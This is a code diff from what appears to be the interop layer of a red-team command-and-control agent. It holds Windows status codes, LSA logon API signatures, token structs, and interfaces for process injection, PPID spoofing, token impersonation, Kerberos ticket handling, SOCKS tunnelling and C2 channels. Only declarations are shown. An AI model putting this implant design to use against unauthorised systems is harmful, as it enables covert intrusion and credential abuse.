MemberNotInGroup = 0xc0000068,
|
||||
LastAdmin = 0xc0000069,
|
||||
WrongPassword = 0xc000006a,
|
||||
IllFormedPassword = 0xc000006b,
|
||||
PasswordRestriction = 0xc000006c,
|
||||
LogonFailure = 0xc000006d,
|
||||
AccountRestriction = 0xc000006e,
|
||||
InvalidLogonHours = 0xc000006f,
|
||||
InvalidWorkstation = 0xc0000070,
|
||||
PasswordExpired = 0xc0000071,
|
||||
AccountDisabled = 0xc0000072,
|
||||
NoneMapped = 0xc0000073,
|
||||
TooManyLuidsRequested = 0xc0000074,
|
||||
LuidsExhausted = 0xc0000075,
|
||||
InvalidSubAuthority = 0xc0000076,
|
||||
InvalidAcl = 0xc0000077,
|
||||
InvalidSid = 0xc0000078,
|
||||
InvalidSecurityDescr = 0xc0000079,
|
||||
ProcedureNotFound = 0xc000007a,
|
||||
InvalidImageFormat = 0xc000007b,
|
||||
NoToken = 0xc000007c,
|
||||
BadInheritanceAcl = 0xc000007d,
|
||||
RangeNotLocked = 0xc000007e,
|
||||
DiskFull = 0xc000007f,
|
||||
ServerDisabled = 0xc0000080,
|
||||
ServerNotDisabled = 0xc0000081,
|
||||
TooManyGuidsRequested = 0xc0000082,
|
||||
GuidsExhausted = 0xc0000083,
|
||||
InvalidIdAuthority = 0xc0000084,
|
||||
AgentsExhausted = 0xc0000085,
|
||||
InvalidVolumeLabel = 0xc0000086,
|
||||
SectionNotExtended = 0xc0000087,
|
||||
NotMappedData = 0xc0000088,
|
||||
ResourceDataNotFound = 0xc0000089,
|
||||
ResourceTypeNotFound = 0xc000008a,
|
||||
ResourceNameNotFound = 0xc000008b,
|
||||
ArrayBoundsExceeded = 0xc000008c,
|
||||
FloatDenormalOperand = 0xc000008d,
|
||||
FloatDivideByZero = 0xc000008e,
|
||||
FloatInexactResult = 0xc000008f,
|
||||
FloatInvalidOperation = 0xc0000090,
|
||||
FloatOverflow = 0xc0000091,
|
||||
FloatStackCheck = 0xc0000092,
|
||||
FloatUnderflow = 0xc0000093,
|
||||
IntegerDivideByZero = 0xc0000094,
|
||||
IntegerOverflow = 0xc0000095,
|
||||
PrivilegedInstruction = 0xc0000096,
|
||||
TooManyPagingFiles = 0xc0000097,
|
||||
FileInvalid = 0xc0000098,
|
||||
InsufficientResources = 0xc000009a,
|
||||
InstanceNotAvailable = 0xc00000ab,
|
||||
PipeNotAvailable = 0xc00000ac,
|
||||
InvalidPipeState = 0xc00000ad,
|
||||
PipeBusy = 0xc00000ae,
|
||||
IllegalFunction = 0xc00000af,
|
||||
PipeDisconnected = 0xc00000b0,
|
||||
PipeClosing = 0xc00000b1,
|
||||
PipeConnected = 0xc00000b2,
|
||||
PipeListening = 0xc00000b3,
|
||||
InvalidReadMode = 0xc00000b4,
|
||||
IoTimeout = 0xc00000b5,
|
||||
FileForcedClosed = 0xc00000b6,
|
||||
ProfilingNotStarted = 0xc00000b7,
|
||||
ProfilingNotStopped = 0xc00000b8,
|
||||
NotSameDevice = 0xc00000d4,
|
||||
FileRenamed = 0xc00000d5,
|
||||
CantWait = 0xc00000d8,
|
||||
PipeEmpty = 0xc00000d9,
|
||||
CantTerminateSelf = 0xc00000db,
|
||||
InternalError = 0xc00000e5,
|
||||
InvalidParameter1 = 0xc00000ef,
|
||||
InvalidParameter2 = 0xc00000f0,
|
||||
InvalidParameter3 = 0xc00000f1,
|
||||
InvalidParameter4 = 0xc00000f2,
|
||||
InvalidParameter5 = 0xc00000f3,
|
||||
InvalidParameter6 = 0xc00000f4,
|
||||
InvalidParameter7 = 0xc00000f5,
|
||||
InvalidParameter8 = 0xc00000f6,
|
||||
InvalidParameter9 = 0xc00000f7,
|
||||
InvalidParameter10 = 0xc00000f8,
|
||||
InvalidParameter11 = 0xc00000f9,
|
||||
InvalidParameter12 = 0xc00000fa,
|
||||
ProcessIsTerminating = 0xc000010a,
|
||||
MappedFileSizeZero = 0xc000011e,
|
||||
TooManyOpenedFiles = 0xc000011f,
|
||||
Cancelled = 0xc0000120,
|
||||
CannotDelete = 0xc0000121,
|
||||
InvalidComputerName = 0xc0000122,
|
||||
FileDeleted = 0xc0000123,
|
||||
SpecialAccount = 0xc0000124,
|
||||
SpecialGroup = 0xc0000125,
|
||||
SpecialUser = 0xc0000126,
|
||||
MembersPrimaryGroup = 0xc0000127,
|
||||
FileClosed = 0xc0000128,
|
||||
TooManyThreads = 0xc0000129,
|
||||
ThreadNotInProcess = 0xc000012a,
|
||||
TokenAlreadyInUse = 0xc000012b,
|
||||
PagefileQuotaExceeded = 0xc000012c,
|
||||
CommitmentLimit = 0xc000012d,
|
||||
InvalidImageLeFormat = 0xc000012e,
|
||||
InvalidImageNotMz = 0xc000012f,
|
||||
InvalidImageProtect = 0xc0000130,
|
||||
InvalidImageWin16 = 0xc0000131,
|
||||
LogonServer = 0xc0000132,
|
||||
DifferenceAtDc = 0xc0000133,
|
||||
SynchronizationRequired = 0xc0000134,
|
||||
DllNotFound = 0xc0000135,
|
||||
IoPrivilegeFailed = 0xc0000137,
|
||||
OrdinalNotFound = 0xc0000138,
|
||||
EntryPointNotFound = 0xc0000139,
|
||||
ControlCExit = 0xc000013a,
|
||||
InvalidAddress = 0xc0000141,
|
||||
PortNotSet = 0xc0000353,
|
||||
DebuggerInactive = 0xc0000354,
|
||||
CallbackBypass = 0xc0000503,
|
||||
PortClosed = 0xc0000700,
|
||||
MessageLost = 0xc0000701,
|
||||
InvalidMessage = 0xc0000702,
|
||||
RequestCanceled = 0xc0000703,
|
||||
RecursiveDispatch = 0xc0000704,
|
||||
LpcReceiveBufferExpected = 0xc0000705,
|
||||
LpcInvalidConnectionUsage = 0xc0000706,
|
||||
LpcRequestsNotAllowed = 0xc0000707,
|
||||
ResourceInUse = 0xc0000708,
|
||||
ProcessIsProtected = 0xc0000712,
|
||||
VolumeDirty = 0xc0000806,
|
||||
FileCheckedOut = 0xc0000901,
|
||||
CheckOutRequired = 0xc0000902,
|
||||
BadFileType = 0xc0000903,
|
||||
FileTooLarge = 0xc0000904,
|
||||
FormsAuthRequired = 0xc0000905,
|
||||
VirusInfected = 0xc0000906,
|
||||
VirusDeleted = 0xc0000907,
|
||||
TransactionalConflict = 0xc0190001,
|
||||
InvalidTransaction = 0xc0190002,
|
||||
TransactionNotActive = 0xc0190003,
|
||||
TmInitializationFailed = 0xc0190004,
|
||||
RmNotActive = 0xc0190005,
|
||||
RmMetadataCorrupt = 0xc0190006,
|
||||
TransactionNotJoined = 0xc0190007,
|
||||
DirectoryNotRm = 0xc0190008,
|
||||
CouldNotResizeLog = 0xc0190009,
|
||||
TransactionsUnsupportedRemote = 0xc019000a,
|
||||
LogResizeInvalidSize = 0xc019000b,
|
||||
RemoteFileVersionMismatch = 0xc019000c,
|
||||
CrmProtocolAlreadyExists = 0xc019000f,
|
||||
TransactionPropagationFailed = 0xc0190010,
|
||||
CrmProtocolNotFound = 0xc0190011,
|
||||
TransactionSuperiorExists = 0xc0190012,
|
||||
TransactionRequestNotValid = 0xc0190013,
|
||||
TransactionNotRequested = 0xc0190014,
|
||||
TransactionAlreadyAborted = 0xc0190015,
|
||||
TransactionAlreadyCommitted = 0xc0190016,
|
||||
TransactionInvalidMarshallBuffer = 0xc0190017,
|
||||
CurrentTransactionNotValid = 0xc0190018,
|
||||
LogGrowthFailed = 0xc0190019,
|
||||
ObjectNoLongerExists = 0xc0190021,
|
||||
StreamMiniversionNotFound = 0xc0190022,
|
||||
StreamMiniversionNotValid = 0xc0190023,
|
||||
MiniversionInaccessibleFromSpecifiedTransaction = 0xc0190024,
|
||||
CantOpenMiniversionWithModifyIntent = 0xc0190025,
|
||||
CantCreateMoreStreamMiniversions = 0xc0190026,
|
||||
HandleNoLongerValid = 0xc0190028,
|
||||
NoTxfMetadata = 0xc0190029,
|
||||
LogCorruptionDetected = 0xc0190030,
|
||||
CantRecoverWithHandleOpen = 0xc0190031,
|
||||
RmDisconnected = 0xc0190032,
|
||||
EnlistmentNotSuperior = 0xc0190033,
|
||||
RecoveryNotNeeded = 0xc0190034,
|
||||
RmAlreadyStarted = 0xc0190035,
|
||||
FileIdentityNotPersistent = 0xc0190036,
|
||||
CantBreakTransactionalDependency = 0xc0190037,
|
||||
CantCrossRmBoundary = 0xc0190038,
|
||||
TxfDirNotEmpty = 0xc0190039,
|
||||
IndoubtTransactionsExist = 0xc019003a,
|
||||
TmVolatile = 0xc019003b,
|
||||
RollbackTimerExpired = 0xc019003c,
|
||||
TxfAttributeCorrupt = 0xc019003d,
|
||||
EfsNotAllowedInTransaction = 0xc019003e,
|
||||
TransactionalOpenNotAllowed = 0xc019003f,
|
||||
TransactedMappingUnsupportedRemote = 0xc0190040,
|
||||
TxfMetadataAlreadyPresent = 0xc0190041,
|
||||
TransactionScopeCallbacksNotSet = 0xc0190042,
|
||||
TransactionRequiredPromotion = 0xc0190043,
|
||||
CannotExecuteFileInTransaction = 0xc0190044,
|
||||
TransactionsNotFrozen = 0xc0190045,
|
||||
|
||||
MaximumNtStatus = 0xffffffff
|
||||
}
|
||||
|
||||
public enum Severity
|
||||
{
|
||||
Success,
|
||||
Informational,
|
||||
Warning,
|
||||
Error,
|
||||
}
|
||||
@@ -0,0 +1,6 @@
|
||||
namespace ApolloInterop.Features.WindowsTypesAndAPIs;
|
||||
|
||||
public class NtdllAPIs
|
||||
{
|
||||
public delegate void RtlMoveMemory(APIInteropTypes.HANDLE dest, APIInteropTypes.HANDLE src, uint count);
|
||||
}
|
||||
@@ -0,0 +1,20 @@
|
||||
using ApolloInterop.Enums;
|
||||
using static ApolloInterop.Features.WindowsTypesAndAPIs.APIInteropTypes;
|
||||
|
||||
|
||||
namespace ApolloInterop.Features.WindowsTypesAndAPIs;
|
||||
|
||||
public static class Secur32APIs
|
||||
{
|
||||
public delegate NTSTATUS LsaConnectUntrusted(out HANDLE lsaHandle);
|
||||
public delegate NTSTATUS LsaLookupAuthenticationPackage(HANDLE lsaHandle, HANDLE packageName, out uint authPackage);
|
||||
public delegate NTSTATUS LsaCallAuthenticationPackage(HANDLE lsaHandle, uint authPackage, HANDLE submitBuffer, int submitBufferLength, out HANDLE returnBuffer, out uint returnBufferLength, out NTSTATUS authPackageStatus);
|
||||
//the SecurityMode argument is discarded following the documentation specifying it should be ignored
|
||||
public delegate NTSTATUS LsaRegisterLogonProcess(HANDLE logonProcessName, HANDLE lsaHandle, HANDLE _);
|
||||
public delegate NTSTATUS LsaDeregisterLogonProcess(HANDLE lsaHandle);
|
||||
public delegate NTSTATUS LsaEnumerateLogonSessions(out uint logonSessionCount, out HANDLE logonSessionList);
|
||||
public delegate NTSTATUS LsaFreeReturnBuffer(HANDLE buffer);
|
||||
public delegate NTSTATUS LsaGetLogonSessionData(HANDLE LogonIdHandle, out HANDLE LogonSessionDataHandle);
|
||||
public delegate NTSTATUS LsaLogonUser(HANDLE lsaHandle, LSATypes.LSA_IN_STRING originName, Win32.LogonType logonType, uint authPackage, HANDLE submitBuffer, uint submitBufferLength, HANDLE localgroups, WinNTTypes.TOKEN_SOURCE sourceContext, out HANDLE profileBuffer, out uint profileBufferLength, out WinNTTypes.LUID logonId, out HANDLE token, out LSATypes.QUOTA_LIMITS quotas, out NTSTATUS subStatus);
|
||||
|
||||
}
|
||||
@@ -0,0 +1,144 @@
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
using static ApolloInterop.Features.WindowsTypesAndAPIs.APIInteropTypes;
|
||||
|
||||
namespace ApolloInterop.Features.WindowsTypesAndAPIs;
|
||||
|
||||
|
||||
public static class WinNTTypes
|
||||
{
|
||||
public struct LUID
|
||||
{
|
||||
public uint LowPart;
|
||||
public int HighPart;
|
||||
|
||||
public static LUID FromString(string luid)
|
||||
{
|
||||
if (String.IsNullOrWhiteSpace(luid))
|
||||
{
|
||||
return new LUID();
|
||||
}
|
||||
var uintVal = Convert.ToUInt64(luid, 16);
|
||||
|
||||
return new LUID
|
||||
{
|
||||
LowPart = (uint)(uintVal & 0xffffffffL),
|
||||
HighPart = (int)(uintVal >> 32)
|
||||
};
|
||||
}
|
||||
|
||||
public bool IsNull => LowPart == 0 && HighPart == 0;
|
||||
|
||||
public override string ToString()
|
||||
{
|
||||
var value = ((ulong)HighPart << 32) + LowPart;
|
||||
return $"0x{value:x}";
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
public readonly struct ACCESS_MASK
|
||||
{
|
||||
public const uint DELETE = 65536;
|
||||
public const uint READ_CONTROL = 131072;
|
||||
public const uint SYNCHRONIZE = 1048576;
|
||||
public const uint WRITE_DAC = 262144;
|
||||
public const uint WRITE_OWNER = 524288;
|
||||
public const uint GENERIC_READ = 2147483648;
|
||||
public const uint GENERIC_WRITE = 1073741824;
|
||||
public const uint GENERIC_EXECUTE = 536870912;
|
||||
public const uint GENERIC_ALL = 268435456;
|
||||
public const uint STANDARD_RIGHTS_READ = 131072;
|
||||
public const uint STANDARD_RIGHTS_WRITE = 131072;
|
||||
public const uint STANDARD_RIGHTS_EXECUTE = 131072;
|
||||
public const uint STANDARD_RIGHTS_REQUIRED = 983040;
|
||||
public const uint STANDARD_RIGHTS_ALL = 2031616;
|
||||
}
|
||||
|
||||
public struct OBJECT_ATTRIBUTES
|
||||
{
|
||||
public uint Length;
|
||||
public HANDLE RootDirectory;
|
||||
public HANDLE<UNICODE_STRING> ObjectName; // -> UNICODE_STRING HANDLE
|
||||
public uint Attributes;
|
||||
public HANDLE SecurityDescriptor;
|
||||
public HANDLE SecurityQualityOfService;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public record struct UNICODE_STRING
|
||||
{
|
||||
public ushort Length;
|
||||
public ushort MaximumLength;
|
||||
public HANDLE Buffer;
|
||||
|
||||
public UNICODE_STRING(string str)
|
||||
{
|
||||
Length = (ushort)((str.Length +1) * 2);
|
||||
MaximumLength = Length;
|
||||
Buffer = (HANDLE)Marshal.StringToHGlobalUni(str);
|
||||
}
|
||||
|
||||
public override string ToString()
|
||||
{
|
||||
return Marshal.PtrToStringUni(Buffer);
|
||||
}
|
||||
}
|
||||
|
||||
public struct SID_AND_ATTRIBUTES
|
||||
{
|
||||
public HANDLE Sid;
|
||||
public uint Attributes;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct TOKEN_STATISTICS
|
||||
{
|
||||
public LUID TokenId;
|
||||
public LUID AuthenticationId;
|
||||
public ulong ExpirationTime;
|
||||
public TOKEN_TYPE TokenType;
|
||||
public SECURITY_IMPERSONATION_LEVEL ImpersonationLevel;
|
||||
public uint DynamicCharged;
|
||||
public uint DynamicAvailable;
|
||||
public uint GroupCount;
|
||||
public uint PrivilegeCount;
|
||||
public LUID ModifiedId;
|
||||
}
|
||||
|
||||
public struct TOKEN_GROUPS
|
||||
{
|
||||
public uint GroupCount;
|
||||
public SID_AND_ATTRIBUTES Groups;
|
||||
}
|
||||
|
||||
public record struct TOKEN_SOURCE
|
||||
{
|
||||
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)]
|
||||
public byte[] SourceName;
|
||||
public LUID SourceIdentifier;
|
||||
|
||||
public TOKEN_SOURCE(string name)
|
||||
{
|
||||
SourceName = new byte[8];
|
||||
Encoding.GetEncoding(1252).GetBytes(name, 0, name.Length, SourceName, 0);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
public enum SECURITY_IMPERSONATION_LEVEL
|
||||
{
|
||||
SecurityAnonymous,
|
||||
SecurityIdentification,
|
||||
SecurityImpersonation,
|
||||
SecurityDelegation
|
||||
}
|
||||
|
||||
public enum TOKEN_TYPE
|
||||
{
|
||||
TokenPrimary = 1,
|
||||
TokenImpersonation
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,68 @@
|
||||
using System.Threading;
|
||||
using ApolloInterop.Features.KerberosTickets;
|
||||
|
||||
namespace ApolloInterop.Interfaces
|
||||
{
|
||||
public interface IAgent
|
||||
{
|
||||
// Start the agent.
|
||||
void Start();
|
||||
|
||||
// Kill the agent.
|
||||
void Exit();
|
||||
|
||||
// Set agent sleep
|
||||
void SetSleep(int seconds, double jitter=0);
|
||||
|
||||
// Do sleep until a wait handle triggers
|
||||
void Sleep(WaitHandle[] handles = null);
|
||||
|
||||
// Return if we're connected to Mythic or another peer
|
||||
bool IsAlive();
|
||||
|
||||
// Return the current UUID of the agent.
|
||||
string GetUUID();
|
||||
|
||||
// Set a new UUID of the agent.
|
||||
void SetUUID(string newUUID);
|
||||
|
||||
// Lock standard handles of the agent.
|
||||
void AcquireOutputLock();
|
||||
|
||||
// Release the lock on the standard handles of the agent.
|
||||
void ReleaseOutputLock();
|
||||
|
||||
// Return the ITaskManager interface. Manages all aspects of tasking.
|
||||
ITaskManager GetTaskManager();
|
||||
|
||||
// Return the IPeerManager interface. Manages connected P2P nodes.
|
||||
IPeerManager GetPeerManager();
|
||||
|
||||
// Return the ISocksManager interface. Responsible for forwarding SOCKS packets.
|
||||
ISocksManager GetSocksManager();
|
||||
|
||||
// Return the IRpfwdManager interface. Responsible for forwarding Rpfwd packets.
|
||||
IRpfwdManager GetRpfwdManager();
|
||||
|
||||
// Return the IC2ProfileManager interface. Used to add, update, delete, or change C2 rotations.
|
||||
IC2ProfileManager GetC2ProfileManager();
|
||||
|
||||
// Return the IFileManager interface. Used to get and push files to Mythic.
|
||||
IFileManager GetFileManager();
|
||||
|
||||
// Return the IIdentityManager interface. Used for updating currently executing identity context.
|
||||
IIdentityManager GetIdentityManager();
|
||||
|
||||
// Return IProcessManager interface. Used for creating new processes.
|
||||
IProcessManager GetProcessManager();
|
||||
|
||||
// Return IInjectionManager interface. Used for managing how injection is performed and injecting into processes
|
||||
IInjectionManager GetInjectionManager();
|
||||
|
||||
// Return ITicketManager interface. Used for managing Kerberos tickets.
|
||||
ITicketManager GetTicketManager();
|
||||
|
||||
// Return IApi interface. Used for resolving native Win32 API calls, RSA cryptography, and otherwise.
|
||||
IApi GetApi();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,21 @@
|
||||
using ApolloInterop.Classes;
|
||||
using System;
|
||||
using ApolloInterop.Classes.Api;
|
||||
|
||||
namespace ApolloInterop.Interfaces
|
||||
{
|
||||
public interface IApi
|
||||
{
|
||||
T GetLibraryFunction<T>(Library library, string functionName, bool canLoadFromDisk = true, bool resolveForwards = true) where T : Delegate;
|
||||
T GetLibraryFunction<T>(Library library, short ordinal, bool canLoadFromDisk = true, bool resolveForwards = true) where T : Delegate;
|
||||
T GetLibraryFunction<T>(Library library, string functionHash, long key, bool canLoadFromDisk=true, bool resolveForwards = true) where T : Delegate;
|
||||
|
||||
string NewUUID();
|
||||
|
||||
RSAKeyGenerator NewRSAKeyPair(int szKey);
|
||||
|
||||
// Maybe other formats in the future?
|
||||
ICryptographySerializer NewEncryptedJsonSerializer(string uuid, Type cryptoType, string key = "");
|
||||
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,25 @@
|
||||
using ApolloInterop.Structs.MythicStructs;
|
||||
using ApolloInterop.Types.Delegates;
|
||||
using ApolloInterop.Enums.ApolloEnums;
|
||||
|
||||
namespace ApolloInterop.Interfaces
|
||||
{
|
||||
public interface IC2Profile
|
||||
{
|
||||
bool Connect(CheckinMessage checkinMessage, OnResponse<MessageResponse> onResp);
|
||||
|
||||
void Start();
|
||||
|
||||
bool Send<IMythicMessage>(IMythicMessage message);
|
||||
|
||||
bool SendRecv<T, TResult>(T message, OnResponse<TResult> onResponse);
|
||||
|
||||
bool Recv(MessageType mt, OnResponse<IMythicMessage> onResp);
|
||||
|
||||
// Basically tells the caller that this C2 profile is stateful,
|
||||
// and as such it supports only the SendRecv operation.
|
||||
bool IsOneWay();
|
||||
|
||||
bool IsConnected();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,13 @@
|
||||
namespace ApolloInterop.Interfaces
|
||||
{
|
||||
public interface IC2ProfileManager
|
||||
{
|
||||
bool AddEgress(IC2Profile profile);
|
||||
bool AddIngress(IC2Profile profile);
|
||||
|
||||
IC2Profile[] GetEgressCollection();
|
||||
IC2Profile[] GetIngressCollection();
|
||||
|
||||
IC2Profile[] GetConnectedEgressCollection();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,9 @@
|
||||
namespace ApolloInterop.Interfaces
|
||||
{
|
||||
public interface IChunkMessage
|
||||
{
|
||||
int GetChunkNumber();
|
||||
int GetTotalChunks();
|
||||
int GetChunkSize();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,8 @@
|
||||
namespace ApolloInterop.Interfaces
|
||||
{
|
||||
public interface ICryptographicRoutine
|
||||
{
|
||||
byte[] Encrypt(byte[] data);
|
||||
byte[] Decrypt(byte[] data);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
namespace ApolloInterop.Interfaces
|
||||
{
|
||||
public interface ICryptography
|
||||
{
|
||||
string Encrypt(string plaintext);
|
||||
string Decrypt(string encrypted);
|
||||
bool UpdateUUID(string uuid);
|
||||
bool UpdateKey(string key);
|
||||
|
||||
string GetUUID();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,10 @@
|
||||
namespace ApolloInterop.Interfaces
|
||||
{
|
||||
public interface ICryptographySerializer : ISerializer
|
||||
{
|
||||
bool UpdateUUID(string uuid);
|
||||
bool UpdateKey(string key);
|
||||
|
||||
string GetUUID();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,16 @@
|
||||
namespace ApolloInterop.Interfaces
|
||||
{
|
||||
public interface IEncryptedFileStore
|
||||
{
|
||||
bool TryAddOrUpdate(string keyName, byte[] data);
|
||||
|
||||
bool TryGetValue(string keyName, out byte[] data);
|
||||
|
||||
string GetScript();
|
||||
void SetScript(string script);
|
||||
void SetScript(byte[] script);
|
||||
|
||||
string[] ListFiles();
|
||||
bool RemoveFile(string keyName);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,29 @@
|
||||
using ApolloInterop.Structs.MythicStructs;
|
||||
using System.Threading;
|
||||
|
||||
namespace ApolloInterop.Interfaces
|
||||
{
|
||||
public interface IFileManager
|
||||
{
|
||||
string[] GetPendingTransfers();
|
||||
void ProcessResponse(MythicTaskStatus resp);
|
||||
|
||||
bool GetFile(CancellationToken ct, string taskID, string fileID, out byte[] fileBytes);
|
||||
|
||||
bool PutFile(CancellationToken ct, string taskID, byte[] content, string originatingPath, out string mythicFileId, bool isScreenshot = false, string originatingHost = null);
|
||||
|
||||
string GetScript();
|
||||
|
||||
void SetScript(string script);
|
||||
|
||||
void SetScript(byte[] script);
|
||||
|
||||
bool AddFileToStore(string keyName, byte[] data);
|
||||
|
||||
bool GetFileFromStore(string keyName, out byte[] data);
|
||||
|
||||
string[] ListFiles();
|
||||
|
||||
bool RemoveFile(string keyName);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,34 @@
|
||||
using ApolloInterop.Structs.ApolloStructs;
|
||||
using ApolloInterop.Structs.MythicStructs;
|
||||
using System;
|
||||
using System.Security.Principal;
|
||||
|
||||
namespace ApolloInterop.Interfaces
|
||||
{
|
||||
public interface IIdentityManager
|
||||
{
|
||||
WindowsIdentity GetCurrentPrimaryIdentity();
|
||||
WindowsIdentity GetCurrentImpersonationIdentity();
|
||||
WindowsIdentity GetOriginal();
|
||||
|
||||
bool GetCurrentLogonInformation(out ApolloLogonInformation logonInfo);
|
||||
|
||||
void Revert();
|
||||
|
||||
void SetPrimaryIdentity(WindowsIdentity identity);
|
||||
|
||||
void SetPrimaryIdentity(IntPtr hToken);
|
||||
|
||||
void SetImpersonationIdentity(WindowsIdentity identity);
|
||||
void SetImpersonationIdentity(IntPtr hToken);
|
||||
|
||||
bool SetIdentity(ApolloLogonInformation token);
|
||||
|
||||
IntegrityLevel GetIntegrityLevel();
|
||||
|
||||
bool IsOriginalIdentity();
|
||||
|
||||
(bool,IntPtr) GetSystem();
|
||||
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,16 @@
|
||||
using ApolloInterop.Classes.Core;
|
||||
using System;
|
||||
|
||||
namespace ApolloInterop.Interfaces
|
||||
{
|
||||
public interface IInjectionManager
|
||||
{
|
||||
string[] GetTechniques();
|
||||
bool SetTechnique(string technique);
|
||||
InjectionTechnique CreateInstance(byte[] code, int pid);
|
||||
InjectionTechnique CreateInstance(byte[] code, IntPtr hProcess);
|
||||
bool LoadTechnique(byte[] assembly, string name);
|
||||
|
||||
Type GetCurrentTechnique();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,7 @@
|
||||
namespace ApolloInterop.Interfaces
|
||||
{
|
||||
public interface IInjectionTechnique
|
||||
{
|
||||
bool Inject(string arguments = "");
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,9 @@
|
||||
using ApolloInterop.Enums.ApolloEnums;
|
||||
|
||||
namespace ApolloInterop.Interfaces
|
||||
{
|
||||
public interface IMythicMessage
|
||||
{
|
||||
MessageType GetTypeCode();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,13 @@
|
||||
using System;
|
||||
using System.IO.Pipes;
|
||||
using ApolloInterop.Structs.ApolloStructs;
|
||||
|
||||
namespace ApolloInterop.Interfaces
|
||||
{
|
||||
public interface INamedPipeCallback
|
||||
{
|
||||
void OnAsyncConnect(PipeStream pipe, out Object state);
|
||||
void OnAsyncDisconnect(PipeStream pipe, Object state);
|
||||
void OnAsyncMessageReceived(PipeStream pipe, IPCData data, Object state);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,15 @@
|
||||
using ApolloInterop.Structs.MythicStructs;
|
||||
|
||||
namespace ApolloInterop.Interfaces
|
||||
{
|
||||
public interface IPeer
|
||||
{
|
||||
bool Start();
|
||||
void Stop();
|
||||
string GetUUID();
|
||||
string GetMythicUUID();
|
||||
bool Connected();
|
||||
void ProcessMessage(DelegateMessage message);
|
||||
bool Finished();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
using ApolloInterop.Classes.P2P;
|
||||
using ApolloInterop.Structs.MythicStructs;
|
||||
namespace ApolloInterop.Interfaces
|
||||
{
|
||||
public interface IPeerManager
|
||||
{
|
||||
Peer AddPeer(PeerInformation info);
|
||||
bool Remove(string uuid);
|
||||
bool Remove(IPeer peer);
|
||||
bool Route(DelegateMessage msg);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,18 @@
|
||||
using ApolloInterop.Structs.ApolloStructs;
|
||||
using System;
|
||||
|
||||
namespace ApolloInterop.Interfaces
|
||||
{
|
||||
public interface IProcess
|
||||
{
|
||||
bool Inject(byte[] code, string arguments = "");
|
||||
void WaitForExit();
|
||||
void WaitForExit(int milliseconds);
|
||||
|
||||
bool Start();
|
||||
bool StartWithCredentials(ApolloLogonInformation logonInfo);
|
||||
|
||||
bool StartWithCredentials(IntPtr hToken);
|
||||
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,14 @@
|
||||
using ApolloInterop.Classes.Core;
|
||||
using ApolloInterop.Structs.ApolloStructs;
|
||||
|
||||
namespace ApolloInterop.Interfaces
|
||||
{
|
||||
public interface IProcessManager
|
||||
{
|
||||
Process NewProcess(string lpApplication, string lpArguments, bool startSuspended = false);
|
||||
bool BlockDLLs(bool status);
|
||||
bool SetPPID(int pid);
|
||||
bool SetSpawnTo(string lpApplication, string lpCommandLine = null, bool x64 = true);
|
||||
ApplicationStartupInfo GetStartupInfo(bool x64 = true);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,13 @@
|
||||
using ApolloInterop.Structs.MythicStructs;
|
||||
using System.Net.Sockets;
|
||||
using ApolloInterop.Classes;
|
||||
|
||||
namespace ApolloInterop.Interfaces
|
||||
{
|
||||
public interface IRpfwdManager
|
||||
{
|
||||
bool Route(SocksDatagram dg);
|
||||
bool AddConnection(TcpClient client, int ServerID, int port, int debugLevel, Tasking task);
|
||||
bool Remove(int id);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,18 @@
|
||||
using ApolloInterop.Enums.ApolloEnums;
|
||||
using ApolloInterop.Structs.ApolloStructs;
|
||||
using ApolloInterop.Constants;
|
||||
|
||||
namespace ApolloInterop.Interfaces
|
||||
{
|
||||
public interface ISerializer
|
||||
{
|
||||
string Serialize(object obj);
|
||||
T Deserialize<T>(string msg);
|
||||
|
||||
IPCChunkedData[] SerializeDelegateMessage(string message, MessageType mt, int block_size = IPC.SEND_SIZE / 2);
|
||||
|
||||
// This is so we can serialize/deserialize things across named pipes, but technically
|
||||
IPCChunkedData[] SerializeIPCMessage(IMythicMessage message, int block_size = IPC.SEND_SIZE);
|
||||
IMythicMessage DeserializeIPCMessage(byte[] data, MessageType mt);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,11 @@
|
||||
using ApolloInterop.Structs.MythicStructs;
|
||||
|
||||
namespace ApolloInterop.Interfaces
|
||||
{
|
||||
public interface ISocksManager
|
||||
{
|
||||
bool Route(SocksDatagram dg);
|
||||
|
||||
bool Remove(int id);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,11 @@
|
||||
using System.Threading.Tasks;
|
||||
namespace ApolloInterop.Interfaces
|
||||
{
|
||||
public interface ITask
|
||||
{
|
||||
string ID();
|
||||
void Start();
|
||||
Task CreateTasking();
|
||||
void Kill();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,25 @@
|
||||
using ApolloInterop.Types.Delegates;
|
||||
using ApolloInterop.Structs.MythicStructs;
|
||||
using ApolloInterop.Enums.ApolloEnums;
|
||||
|
||||
namespace ApolloInterop.Interfaces
|
||||
{
|
||||
public interface ITaskManager
|
||||
{
|
||||
string[] GetExecutingTaskIds();
|
||||
bool CancelTask(string taskId);
|
||||
|
||||
bool CreateTaskingMessage(OnResponse<TaskingMessage> onResponse);
|
||||
|
